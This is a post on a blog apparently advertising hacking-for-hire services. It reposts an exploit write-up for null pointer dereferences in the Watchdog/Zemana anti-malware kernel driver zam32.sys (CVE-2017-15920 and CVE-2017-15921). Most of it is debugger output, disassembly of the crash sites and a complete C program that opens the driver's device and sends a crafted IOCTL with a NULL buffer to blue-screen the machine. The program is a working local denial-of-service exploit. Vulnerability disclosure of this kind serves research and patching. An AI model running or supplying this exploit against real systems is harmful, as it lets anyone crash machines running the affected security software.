Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374379

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*

Exploit Title    - Watchdog Development Anti-Malware/Online Security Pro Null Pointer Dereference
Date             - 26th October 2017
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.watchdogdevelopment.com/
Tested Version   - 2.74.186.150
Driver Version   - 2.21.63 - zam32.sys
Tested on OS     - 32bit Windows 7 SP1 
CVE IDs          - CVE-2017-15920 and CVE-2017-15921
Vendor fix url   - Will be fixed in a future release
Fixed Version    - n/a
Fixed driver ver - n/a



A null pointer dereference vulnerability is triggered when sending an operation
to ioctls 0x80002010 or 0x80002054. This is due to input buffer being NULL or
the input buffer size being 0 as they are not validated.

kd> dt nt!_irp @esi -r
   +0x000 Type             : 0n6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x60000
   +0x00c AssociatedIrp    : <unnamed-tag>
      +0x000 MasterIrp        : (null) 
      +0x000 IrpCount         : 0n0
      +0x000 SystemBuffer     : (null)  <----------- null pointer


0x80002010
----------
CVE-2017-15921

kd> r
eax=00000000 ebx=80002010 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087cd9f esp=a7a80ab8 ebp=a7a80ab8 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
zam32+0xdd9f:
9087cd9f ff30            push    dword ptr [eax]      ds:0023:00000000=????????


.text:90AD9104                 push    offset aIoctl_register                        ; "IOCTL_REGISTER_PROCESS"
.text:90AD9109                 push    0                                             
.text:90AD910B                 push    edx                                           ; Pointer to "DeviceIoControlHandler" string
.text:90AD910C                 push    208h
.text:90AD9111                 push    offset aMain_c                                
.text:90AD9116                 push    1
.text:90AD9118                 call    sub_90AD3ADA
.text:90AD911D                 add     esp, 18h
.text:90AD9120                 push    esi                                           ; esi is null becomes arg_0 otherwise would point to our input "SystemBuffer"
.text:90AD9121                 call    sub_90AD8D90

.text:90AD8D90 sub_90AD8D90    proc near                                             
.text:90AD8D90
.text:90AD8D90 arg_0           = dword ptr  8
.text:90AD8D90
.text:90AD8D90                 push    ebp                                           
.text:90AD8D91                 mov     ebp, esp
.text:90AD8D93                 call    sub_90AD414A
.text:90AD8D98                 test    eax, eax
.text:90AD8D9A                 jz      short loc_90AD8DA6
.text:90AD8D9C                 mov     eax, [ebp+arg_0]                              ; Null pointer dereference 
.text:90AD8D9F                 push    dword ptr [eax]                               ; BSOD !!!!
.text:90AD8DA1                 call    sub_90AD428C
.text:90AD8DA6
.text:90AD8DA6 loc_90AD8DA6:                                                         
.text:90AD8DA6                 pop     ebp
.text:90AD8DA7                 retn    4
.text:90AD8DA7 sub_90AD8D90    endp
.text:90AD8DA7
.text:90AD8DAA


0x80002054
----------
CVE-2017-15920

kd> r
eax=861e8320 ebx=80002054 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087d41a esp=99f4eaac ebp=99f4eadc iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
zam32+0xe41a:
9087d41a c7061e010000    mov     dword ptr [esi],11Eh ds:0023:00000000=????????


.text:90AD9401                 push    offset aIoctl_get_driv                        ; IOCTL_GET_DRIVER_PROTOCOL
.text:90AD9406                 push    0
.text:90AD9408                 push    edx
.text:90AD9409                 push    2A3h
.text:90AD940E                 push    offset aMain_c                                
.text:90AD9413                 push    1
.text:90AD9415                 call    sub_90AD3ADA
.text:90AD941A                 mov     dword ptr [esi], 11Eh                         ; BSOD !!!! Null pointer dereference otherwise would point to our input "SystemBuffer"
.text:90AD9420                 jmp     loc_90AD9622


*/


#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[]) 
{
    HANDLE         hDevice;
    char           devhandle[MAX_PATH];
    DWORD          dwRetBytes = 0;


    sprintf(devhandle, "\\\\.\\%s", "zemanaantimalware");

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Open %s device failed\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

    printf("\n[~] Press any key to continue . . .");
    getch();

    DeviceIoControl(hDevice, 0x80002010, NULL, 0, NULL, 0, &dwRetBytes, NULL);
//  DeviceIoControl(hDevice, 0x80002054, NULL, 0, NULL, 0, &dwRetBytes, NULL);

    printf("\n[+] DoSed\n\n");
 
    CloseHandle(hDevice);
    return 0;
}